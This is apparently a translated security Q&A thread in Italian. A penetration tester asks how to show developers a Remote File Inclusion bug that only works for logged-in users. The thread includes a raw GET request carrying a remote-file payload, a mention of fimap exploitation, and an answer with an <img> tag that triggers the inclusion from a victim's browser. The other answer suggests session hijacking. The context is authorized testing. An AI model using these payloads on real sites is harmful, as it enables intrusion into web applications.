Come posso dimostrare l'inclusione di file remoti tramite metodi get

4

Ho testato la mia applicazione web PHP per le vulnerabilità RFI. Mentre eseguivo la scansione, ero in grado di eseguire l'RFI nella mia applicazione web.

Scenario:

Nella mia applicazione web RFI funziona solo quando era presente la sessione dell'utente. Devo dimostrare l'RFI agli sviluppatori.

Dimostrazione di esempio:

GET /cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
PE-Token: 346645c4fd373fa7f321ec5d3ecf486b4e122cc7-1457413695-1800
Referer: https://example.com/success
Cookie: __cfduid=d3e9d6b0485c45636f90caa652f60437d1456979567;

La risposta contiene l'output del file caricato.

Problema :

Ora attraverso la vulnerabilità di cui sopra sono stato in grado di dimostrare che RFI era presente nell'applicazione web, ma il problema è che i miei sviluppatori stanno chiedendo lo scenario di attacco che li aiuterà a valutare il mio bug.

Quello che ho provato :

Ho provato a sfruttare l'applicazione web con fimap attraverso questo siamo stati in grado di dimostrare e sfruttare il webserver.

Tuttavia, il problema principale che ho dovuto affrontare durante il test era che non posso sfruttare se l'utente non è autenticato.

In quale altro modo posso dimostrare la vulnerabilità RFI nella mia applicazione?

    
posta BlueBerry - Vignesh4303 08.03.2016 - 08:16
fonte

2 risposte

2

Se un utente che ha effettuato l'accesso visualizza una pagina Web (ovunque su Internet!) con il seguente codice HTML in qualsiasi punto, la vulnerabilità verrà attivata. Un utente malintenzionato potrebbe inviare un link a una pagina contenente questo codice HTML a un utente a cui è connesso.

<img src="http://yourdomain.com/cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt">
    
risposta data 09.03.2016 - 03:20
fonte
1

Innanzitutto, congratulazioni per aver trovato una vulnerabilità. È sempre una bella sensazione, soprattutto quando hai qualcosa come RFI.

Da quanto ho capito, non puoi sfruttare questa RFI se non ci sono sessioni utente in corso. In tal caso, chiedi ai tuoi sviluppatori di dare un'occhiata a session hijacking!

In base a OWASP :

The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token.

Because http communication uses many different TCP connections, the web server needs a method to recognize every user’s connections. The most useful method depends on a token that the Web Server sends to the client browser after a successful client authentication. A session token is normally composed of a string of variable width and it could be used in different ways, like in the URL, in the header of the http requisition as a cookie, in other parts of the header of the http request, or yet in the body of the http requisition.

Mi sembra che, se si combinano questi due elementi, un utente malintenzionato non avrebbe bisogno delle credenziali effettive per un attacco riuscito.

Forse una piccola dimostrazione di questo tipo sarà sufficiente. Fammi sapere se hai altre domande!

Buona fortuna!

    
risposta data 09.03.2016 - 02:01
fonte

Leggi altre domande sui tag